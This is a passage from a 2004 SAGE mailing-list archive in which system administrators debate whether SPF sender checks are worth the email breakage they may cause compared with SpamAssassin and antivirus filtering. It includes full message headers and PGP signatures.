Langston" To: Scott Francis Cc: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203193100.GU69255@bitshift.org> References: <20040203013636.GJ29385@darkuncle.net> <20040203020321.GG69255@bitshift.org> <20040203190229.GQ21320@darkuncle.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203190229.GQ21320@darkuncle.net> User-Agent: Mutt/1.4.1i X-Uptime: 11:21AM up 231 days, 14:30, 14 users, load averages: 0.00, 0.00, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Feb 03, 2004 at 11:02:29AM -0800, Scott Francis wrote: > On Mon, Feb 02, 2004 at 06:03:21PM -0800, mark@bitshift.org said: > [snip] > > Which is why you're seeing us complain. It's not because we want > > complete and utter freedom. It's because see myriad ways in which this > > will make everyone -- from guru to layperson -- upset. > > I guess my point of view is that the potential upset is outweighed by the > benefit in abuse reduction. I suppose that particular value judgment will > probably have to be made by individuals on a per-domain and per-network > basis. I'd rather it be made by a standards body prior to allowing everyone else to have a crack at it. As for abuse reduction, spamassassin plus antivirus-of-choice does at least as much in terms of spam reduction as SPF can. I've yet to see any additional benefit SPF brings to a table already set by spamassassin. At least with spamassassin, the spammer has to take the time to transmit their data. With SPF, the connection is refused or accepted prior to data transmission, based on the claimed domain in the envelope From. So, in essence, all you're really doing is increasing the spammer's efficiency by saving him the trouble of sending spam where it won't be seen. And, remember, SPF is only effective once all forged domains from which you recieve mail have implemented SPF. Until then, you will have broken email delivery in several ways, and your users will STILL be seeing spam. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Tue Feb 3 11:48:40 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13JmdcH021555 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 11:48:39 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13Jmdqj021554 for sage-members-outgoing; Tue, 3 Feb 2004 11:48:39 -0800 (PST) Received: from tiderace.darkuncle.net (tiderace.darkuncle.net [66.180.198.181]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13JmUcH021546 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 11:48:36 -0800 (PST) Received: from tiderace.darkuncle.net (sfrancis@localhost.darkuncle.net [127.0.0.1]) by tiderace.darkuncle.net (8.12.9/8.12.9) with ESMTP id i13JVZ2j022245 for ; Tue, 3 Feb 2004 11:31:36 -0800 (PST) Received: (from sfrancis@localhost) by tiderace.darkuncle.net (8.12.9/8.12.9/Submit) id i13JVZoa010468 for sage-members@usenix.org; Tue, 3 Feb 2004 11:31:35 -0800 (PST) Date: Tue, 3 Feb 2004 11:31:35 -0800 From: Scott Francis To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203193135.GS21320@darkuncle.net> Mail-Followup-To: sage-members@usenix.org References: <20040203013636.GJ29385@darkuncle.net> <20040203020321.GG69255@bitshift.org> <20040203190229.GQ21320@darkuncle.net> <20040203193100.GU69255@bitshift.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203193100.GU69255@bitshift.org> User-Agent: Mutt/1.4.1i X-Operating-System: OpenBSD X-PGP-Fingerprint: 7429 F75D D3F5 FA45 C6D7 D25B 59A0 7B8C 5537 F527 X-PGP-Key: http://darkuncle.net/pubkey.asc X-PGP-Notice: encryption subkey 2048g/0CEFEA3C has been revoked - please use 2048R/18A88182 instead (available at above URL) X-What-Happen: Somebody set up us the bomb. Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tue, Feb 03, 2004 at 11:31:00AM -0800, mark@bitshift.org said: [snip] > > I guess my point of view is that the potential upset is outweighed by the > > benefit in abuse reduction. I suppose that particular value judgment will > > probably have to be made by individuals on a per-domain and per-network > > basis. > > I'd rather it be made by a standards body prior to allowing everyone > else to have a crack at it. hey, I'm all for an open standard we can all jump on - and how long have we been waiting for it? (I know it's frustrating, for those of you who've been working on the ASRG ...) We have a finite amount of time left until MS, AOL or other $large_provider pushes some proprietary solution out there and gains enough of a market share to force it on everybody. We need to get something (or a group of somethings) out there, and it needs to be sooner rather than later. > As for abuse reduction, spamassassin plus antivirus-of-choice does at > least as much in terms of spam reduction as SPF can. I've yet to see > any additional benefit SPF brings to a table already set by > spamassassin. At least with spamassassin, the spammer has to take the > time to transmit their data. With SPF, the connection is refused or > accepted prior to data transmission, based on the claimed domain in the > envelope From. So, in essence, all you're really doing is increasing > the spammer's efficiency by saving him the trouble of sending spam where > it won't be seen. How about the benefit of dropping the load on my primary MX from 72 to 3? That's the problem with host-based spam solutions ... they require the resources of my host. And frankly, I'm tired of having machines buckle under the weight of having to analyze spam and worm traffic that they should be able to reject out of hand, if they only had a good way to say "gee, this traffic from is probably not legitimate @aol.com traffic ... maybe I don't have to waste 4 seconds of CPU time accepting it, scanning it and then dropping it because it's s|v|a|p" ... SPF is a first step towards such a system. It may have its problems, but patches are welcome. And I'd rather have a solution that cuts out 50% of the spam, with some problems that can be worked around (and yes, SPF's problems _can_ be avoided, if one is willing to drop dogmatic insistence on a particular method of using SMTP), than no solution at all. If we are waiting for the perfect solution to be developed, we're going to be waiting a _long_ time. Perhaps implementing something imperfect, and then improving it as we see how problems rear their heads in a real live environment (rather than in theory), will lead to a better tool. > And, remember, SPF is only effective once all forged domains from which > you recieve mail have implemented SPF. Until then, you will have broken > email delivery in several ways, and your users will STILL be seeing > spam. See above: just because SPF doesn't get rid of 100% of the domain spoofing I see doesn't mean it's worthless. If it even dropped 1 in 3 of the current spams I get from forged domains, it would be worth it to me. And I'd be willing to put the time in to figure out workarounds to the restrictions it imposes. Perhaps others are not. - -- Scott Francis | darkuncle(at)darkuncle(dot)net | 0x5537F527 "I gave you the chance of aiding me willingly, but you have elected the way of pain!" -- Saruman, speaking for sysadmins everywhere -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (OpenBSD) iD8DBQFAH/cUWaB7jFU39ScRAjrCAKCNtRJPBfFMAfDyYCkdxgbkd8BeEACfUIRd DlemTNMg+B2hK5L3H3O1/+c= =+Ilc -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Tue Feb 3 11:54:00 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13JrxcH021972 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 11:53:59 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13JrxvI021971 for sage-members-outgoing; Tue, 3 Feb 2004 11:53:59 -0800 (PST) Received: from tiderace.darkuncle.net (tiderace.darkuncle.net [66.180.198.181]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13JrtcH021964 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 11:53:57 -0800 (PST) Received: from tiderace.darkuncle.net (sfrancis@localhost.darkuncle.net [127.0.0.1]) by tiderace.darkuncle.net (8.12.9/8.12.9) with ESMTP id i13Jb62j009825 for ; Tue, 3 Feb 2004 11:37:06 -0800 (PST) Received: (from sfrancis@localhost) by tiderace.darkuncle.net (8.12.9/8.12.9/Submit) id i13Jb524006175 for sage-members@usenix.org; Tue, 3 Feb 2004 11:37:05 -0800 (PST) Date: Tue, 3 Feb 2004 11:37:05 -0800 From: Scott Francis To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203193705.GT21320@darkuncle.net> Mail-Followup-To: sage-members@usenix.org References: <20040203152759.280DDA8A62@lucy.corp.lumeta.com> <16415.51443.701213.960605@azazel.infersys.com> <20040203163835.GJ69255@bitshift.org> <16415.62420.112786.920931@azazel.infersys.com> <20040203192629.GT69255@bitshift.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203192629.GT69255@bitshift.org> User-Agent: Mutt/1.4.1i X-Operating-System: OpenBSD X-PGP-Fingerprint: 7429 F75D D3F5 FA45 C6D7 D25B 59A0 7B8C 5537 F527 X-PGP-Key: http://darkuncle.net/pubkey.asc X-PGP-Notice: encryption subkey 2048g/0CEFEA3C has been revoked - please use 2048R/18A88182 instead (available at above URL) X-What-Happen: Somebody set up us the bomb. Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tue, Feb 03, 2004 at 11:26:29AM -0800, mark@bitshift.org said: [snip] > You're right. Inconvenience is exactly that: inconvenience. No more, > no less. > > However, inconvenince leads to a perceptual, rather than > technical, problem. If you repeatedly inconvenience enough people, and > if you are seen as the source of the inconvenience, you will be > removed to eliminate said inconvenience, if you are unwilling to > eliminate the inconvenience yourself. [snip] Our sampling populations must be drastically different. The ratio of complaints I receive about inconvenience of email due to spam, vs. complaints about dropped email due to spam countermeasures, is about 10 to 1. After all, we've all had an email that didn't go through, for whatever reason (my most recent was a vendor who failed to copy down my address correctly). We resend the mail, and if the problem persists, users contact the helpdesk for a workaround. This doesn't seem crippling, or cause for loss of employement, to me. Users _expect_ malfunctions and failures in computers and networks (thank you, Microsoft), which occasionally can be a boon rather than a bane. This isn't to suggest that we should use this as an excuse to introduce avoidable failures, but rather to point out that the occasional dropped email, or blocked email, is _rarely_ a matter of the size it has been made out to be in this thread so far. - -- Scott Francis | darkuncle(at)darkuncle(dot)net | 0x5537F527 "I gave you the chance of aiding me willingly, but you have elected the way of pain!" -- Saruman, speaking for sysadmins everywhere -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (OpenBSD) iD8DBQFAH/hfWaB7jFU39ScRAtnJAKCSE6U1ottWiEmPwFWz96afxmzkDQCcDl1P WJuiaBoSXAA4jwCgFFMD3vg= =PYnC -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Tue Feb 3 12:01:42 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13K1gcH022547 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 12:01:42 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13K1gFn022545 for sage-members-outgoing; Tue, 3 Feb 2004 12:01:42 -0800 (PST) Received: from tiderace.darkuncle.net (tiderace.darkuncle.net [66.180.198.181]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13K1XcH022524 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 12:01:35 -0800 (PST) Received: from tiderace.darkuncle.net (sfrancis@localhost.darkuncle.net [127.0.0.1]) by tiderace.darkuncle.net (8.12.9/8.12.9) with ESMTP id i13JiY2j001467 for ; Tue, 3 Feb 2004 11:44:40 -0800 (PST) Received: (from sfrancis@localhost) by tiderace.darkuncle.net (8.12.9/8.12.9/Submit) id i13JiRrJ002300 for sage-members@usenix.org; Tue, 3 Feb 2004 11:44:27 -0800 (PST) Date: Tue, 3 Feb 2004 11:44:27 -0800 From: Scott Francis To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203194427.GU21320@darkuncle.net> Mail-Followup-To: sage-members@usenix.org References: <20040203180855.GO21320@darkuncle.net> <20040203185446.GO69255@bitshift.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203185446.GO69255@bitshift.org> User-Agent: Mutt/1.4.1i X-Operating-System: OpenBSD X-PGP-Fingerprint: 7429 F75D D3F5 FA45 C6D7 D25B 59A0 7B8C 5537 F527 X-PGP-Key: http://darkuncle.net/pubkey.asc X-PGP-Notice: encryption subkey 2048g/0CEFEA3C has been revoked - please use 2048R/18A88182 instead (available at above URL) X-What-Happen: Somebody set up us the bomb. Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tue, Feb 03, 2004 at 10:54:46AM -0800, mark@bitshift.org said: [snip] > > Users don't care about technicalities - they just care that it works. > > ...and, as I've tried to point out several times, it doesn't work, in > multiple situations. If you think that'll make users happy, I'd like to > know what you put in your users' drinking water, and where I can buy it > in bulk. I am not convinced that the situations pointed out so far affect enough of the average user base to a significant enough degree to outweight the positive affects of implementing a tool like SPF. > > Mr. Postel's advice is some of the best made for networks; users, however, > > are notoriously unwilling to be liberal in what they receive. If we attempt > > to force them to follow that advice, we may find that they will all jump > > ship to the first "solution" that comes down the pike. > > Yet you ask them to be liberal in what they receive: You expect them to > take whatever you hand them as a solution, regardless of flaws. You're > right, however: they will jump ship after that. Or see that you're put > off the boat. I expect that users will go with _anything_ presented to them that offers relief from spam, if it requires no thought on their part, and doesn't restrict their activity too much. Look at AOL: users on AOL, from our point of view, are massively restricted in what they can do on the Internet (given the default AOL install; unless they're willing to go to some effort to work around it). But they don't complain, because that particular loss doesn't mean much to them - it's something they wouldn't have likely used anyway. > > Things _will_ break; it's not a matter of if, but only when and how. We'd > > better start preparing for minimal breakage and dealing with the fallout, or > > it's going to be worse when the inevitable happens. > > There's another solution: Don't break it to begin with. All the king's > horses and all the king's men could've enjoyed a leisurely breakfast, > had Humpty Dumpty stayed off the wall to begin with. Like I said ... it's too late for that. It was too late as soon as the Internet quit being an academic network and started being a public and commercial one. We can wish for the glory days of the past, when hosts could be trusted, and operators all knew each other, as much as we want. It's not going to bring them back. We need to be operating on the basis of how things are _today_, not how we'd like them to be. - -- Scott Francis | darkuncle(at)darkuncle(dot)net | 0x5537F527 "I gave you the chance of aiding me willingly, but you have elected the way of pain!" -- Saruman, speaking for sysadmins everywhere -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (OpenBSD) iD8DBQFAH/oZWaB7jFU39ScRAjkRAKDT4DezB3XasH30Td/IwCkS8I/6OwCeIg8e K1Bo/xNr14A7nZ7zMYlvq4o= =HYMo -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Tue Feb 3 12:03:50 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13K3ocH022805 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 12:03:50 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13K3ojq022804 for sage-members-outgoing; Tue, 3 Feb 2004 12:03:50 -0800 (PST) Received: from tiderace.darkuncle.net (tiderace.darkuncle.net [66.180.198.181]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13K3kcH022782 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 12:03:48 -0800 (PST) Received: from tiderace.darkuncle.net (sfrancis@localhost.darkuncle.net [127.0.0.1]) by tiderace.darkuncle.net (8.12.9/8.12.9) with ESMTP id i13Jku2j028238 for ; Tue, 3 Feb 2004 11:46:56 -0800 (PST) Received: (from sfrancis@localhost) by tiderace.darkuncle.net (8.12.9/8.12.9/Submit) id i13JkuD6005094 for sage-members@usenix.org; Tue, 3 Feb 2004 11:46:56 -0800 (PST) Date: Tue, 3 Feb 2004 11:46:55 -0800 From: Scott Francis To: SAGE Members Subject: Re: [SAGE] Jan L. Peterson wrote: Message-ID: <20040203194655.GV21320@darkuncle.net> Mail-Followup-To: SAGE Members References: <401FD8FD.8000309@snert.com> <20040203185605.GP69255@bitshift.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203185605.GP69255@bitshift.org> User-Agent: Mutt/1.4.1i X-Operating-System: OpenBSD X-PGP-Fingerprint: 7429 F75D D3F5 FA45 C6D7 D25B 59A0 7B8C 5537 F527 X-PGP-Key: http://darkuncle.net/pubkey.asc X-PGP-Notice: encryption subkey 2048g/0CEFEA3C has been revoked - please use 2048R/18A88182 instead (available at above URL) X-What-Happen: Somebody set up us the bomb. Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tue, Feb 03, 2004 at 10:56:05AM -0800, mark@bitshift.org said: [snip] > I respectfully suggest that the layperson very much views email as being > "reliable", and expects it to be such. the laypeople I have exposure to view glitches, bugs, reboots and lost mail as something to be expected, thanks to years of conditioning from Microsoft. Sure, they expect mail to go through when they hit 'send' ... but if it doesn't, they've sure seen that happen before, and they just go back to their outbox and hit 'send' again. When users want something _really_ reliable, they pick up the phone. I know I do. - -- Scott Francis | darkuncle(at)darkuncle(dot)net | 0x5537F527 "I gave you the chance of aiding me willingly, but you have elected the way of pain!" -- Saruman, speaking for sysadmins everywhere -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (OpenBSD) iD8DBQFAH/quWaB7jFU39ScRAlVCAJ47Uq5ggh9L2YigKwWZLOsyKMN+fgCfU+zf DP3KW2UeDwzu2zXjvAjQp2Y= =S5hR -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Tue Feb 3 12:07:07 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13K76cH023243 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 12:07:07 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13K768N023242 for sage-members-outgoing; Tue, 3 Feb 2004 12:07:06 -0800 (PST) Received: from ribbit.roadtoad.net (IDENT:root@ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13K74cG023230 for ; Tue, 3 Feb 2004 12:07:05 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i13K6xiL014831 for ; Tue, 3 Feb 2004 12:06:59 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 7F1E622887; Tue, 3 Feb 2004 12:06:59 -0800 (PST) Date: Tue, 3 Feb 2004 12:06:59 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203200659.GV69255@bitshift.org> References: <20040203013636.GJ29385@darkuncle.net> <20040203020321.GG69255@bitshift.org> <20040203190229.GQ21320@darkuncle.net> <20040203193100.GU69255@bitshift.org> <20040203193135.GS21320@darkuncle.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203193135.GS21320@darkuncle.net> User-Agent: Mutt/1.4.1i X-Uptime: 12:04PM up 231 days, 15:14, 14 users, load averages: 0.00, 0.00, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Feb 03, 2004 at 11:31:35AM -0800, Scott Francis wrote: > > How about the benefit of dropping the load on my primary MX from 72 to 3? In that scenario, your problem is not spam: Your problem is inappropriate server specification. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Tue Feb 3 12:12:25 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13KCPcH023695 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 12:12:25 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13KCPlk023694 for sage-members-outgoing; Tue, 3 Feb 2004 12:12:25 -0800 (PST) Received: from ribbit.roadtoad.net (IDENT:root@ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13KCNcG023688 for ; Tue, 3 Feb 2004 12:12:23 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i13KCJiL017163 for ; Tue, 3 Feb 2004 12:12:19 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id A760122887; Tue, 3 Feb 2004 12:12:19 -0800 (PST) Date: Tue, 3 Feb 2004 12:12:19 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203201219.GW69255@bitshift.org> References: <20040203152759.280DDA8A62@lucy.corp.lumeta.com> <16415.51443.701213.960605@azazel.infersys.com> <20040203163835.GJ69255@bitshift.org> <16415.62420.112786.920931@azazel.infersys.com> <20040203192629.GT69255@bitshift.org> <20040203193705.GT21320@darkuncle.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203193705.GT21320@darkuncle.net> User-Agent: Mutt/1.4.1i X-Uptime: 12:04PM up 231 days, 15:14, 14 users, load averages: 0.00, 0.00, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Feb 03, 2004 at 11:37:05AM -0800, Scott Francis wrote: > . Users _expect_ malfunctions and failures in computers and networks (thank > you, Microsoft), which occasionally can be a boon rather than a bane. > > This isn't to suggest that we should use this as an excuse to introduce > avoidable failures, but rather to point out that the occasional dropped > email, or blocked email, is _rarely_ a matter of the size it has been made > out to be in this thread so far. You're right; your users and mine are historically different. Mine include energy traders that expected email to be reliable and timely and accurately delivered (and no amount of explaining to them otherwise was going to change the way the company did business). Mine include researchers who collaborate with colleages across the globe, and are often travelling in obscure regions and/or remote locales, but expect email to function just as it does on the desktop in their office, without multiple additional dances to be performed prior to that happening. Mine include product vendors, service vendors, and the like who, contrary to common sense, DO conduct business via email, from negotiating the initial stages of a deal or partnership, to arranging meetings, to dealing with hiring issues, to mantaining a high-touch customer base. Everything can be working smoothly for years. But lose one important email, and all hell WILL break loose. I'm happy that you've got well-trained users who accept the fact that email is not reliable. I will argue that they are the exception, and very much not the rule. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Tue Feb 3 12:14:17 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13KEHcH023890 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 12:14:17 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13KEHxs023888 for sage-members-outgoing; Tue, 3 Feb 2004 12:14:17 -0800 (PST) Received: from ribbit.roadtoad.net (IDENT:root@ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13KEFcG023876 for ; Tue, 3 Feb 2004 12:14:15 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i13KE5iL017566; Tue, 3 Feb 2004 12:14:05 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 993FF22887; Tue, 3 Feb 2004 12:14:05 -0800 (PST) Date: Tue, 3 Feb 2004 12:14:05 -0800 From: "Mark C. Langston" To: Scott Francis Cc: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203201405.GX69255@bitshift.org> References: <20040203180855.GO21320@darkuncle.net> <20040203185446.GO69255@bitshift.org> <20040203194427.GU21320@darkuncle.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203194427.GU21320@darkuncle.net> User-Agent: Mutt/1.4.1i X-Uptime: 12:04PM up 231 days, 15:14, 14 users, load averages: 0.00, 0.00, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Feb 03, 2004 at 11:44:27AM -0800, Scott Francis wrote: > > Like I said ... it's too late for that. It was too late as soon as the > Internet quit being an academic network and started being a public and > commercial one. We can wish for the glory days of the past, when hosts could > be trusted, and operators all knew each other, as much as we want. It's not > going to bring them back. We need to be operating on the basis of how things > are _today_, not how we'd like them to be. How things are today: users by and large expect email to be flawless and reliable, and useable from multiple locations, and they do not expect to do anything more than turn on their computer, type an email, and press "send". Make them do anything more than that, and no amount of technical justification will make them happy. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Tue Feb 3 12:15:02 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13KF1cH024080 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 12:15:01 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13KF1Me024078 for sage-members-outgoing; Tue, 3 Feb 2004 12:15:01 -0800 (PST) Received: from ribbit.roadtoad.net (ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13KExcG024057 for ; Tue, 3 Feb 2004 12:15:00 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i13KEsiL017748 for ; Tue, 3 Feb 2004 12:14:54 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 5FE992288C; Tue, 3 Feb 2004 12:14:54 -0800 (PST) Date: Tue, 3 Feb 2004 12:14:54 -0800 From: "Mark C. Langston" To: SAGE Members Subject: Re: [SAGE] Jan L. Peterson wrote: Message-ID: <20040203201454.GY69255@bitshift.org> References: <401FD8FD.8000309@snert.com> <20040203185605.GP69255@bitshift.org> <20040203194655.GV21320@darkuncle.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203194655.GV21320@darkuncle.net> User-Agent: Mutt/1.4.1i X-Uptime: 12:04PM up 231 days, 15:14, 14 users, load averages: 0.00, 0.00, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Feb 03, 2004 at 11:46:55AM -0800, Scott Francis wrote: > On Tue, Feb 03, 2004 at 10:56:05AM -0800, mark@bitshift.org said: > [snip] > > I respectfully suggest that the layperson very much views email as being > > "reliable", and expects it to be such. > > the laypeople I have exposure to view glitches, bugs, reboots and lost mail > as something to be expected, thanks to years of conditioning from Microsoft. > Sure, they expect mail to go through when they hit 'send' ... but if it > doesn't, they've sure seen that happen before, and they just go back to their > outbox and hit 'send' again. > > When users want something _really_ reliable, they pick up the phone. I know I > do. Again, I'm glad you have reasonable users who've been well-trained to accept this reality. Again, you are the exception, not the rule. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Tue Feb 3 12:15:15 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13KFEcH024152 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 12:15:14 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13KFEKG024148 for sage-members-outgoing; Tue, 3 Feb 2004 12:15:14 -0800 (PST) Received: from gris.jeol.com (gris.jeol.com [192.160.103.77]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13KFAcH024135 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 12:15:12 -0800 (PST) Received: from bosch.jeol.com (bosch.jeol.com [192.160.103.90]) by gris.jeol.com (8.12.6p3/8.12.6) with ESMTP id i13KFAYS078910 for ; Tue, 3 Feb 2004 15:15:10 -0500 (EST) (envelope-from lambert@jeol.com) Date: Tue, 3 Feb 2004 15:15:11 -0500 (EST) From: Mike Lambert To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters In-Reply-To: <20040203200659.GV69255@bitshift.org> Message-ID: References: <20040203013636.GJ29385@darkuncle.net> <20040203020321.GG69255@bitshift.org> <20040203190229.GQ21320@darkuncle.net> <20040203193100.GU69255@bitshift.org> <20040203193135.GS21320@darkuncle.net> <20040203200659.GV69255@bitshift.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, 3 Feb 2004, Mark C. Langston wrote: > On Tue, Feb 03, 2004 at 11:31:35AM -0800, Scott Francis wrote: > > > > How about the benefit of dropping the load on my primary MX from 72 to 3? > > In that scenario, your problem is not spam: Your problem is > inappropriate server specification. So we are to send extra money for server capacity and bandwidth just to accommodate the network abuse that others refuse to deal with? Thank you, no. Mike Lambert From sage-members-owner@usenix.org Tue Feb 3 12:20:10 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13KKAcH025197 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; 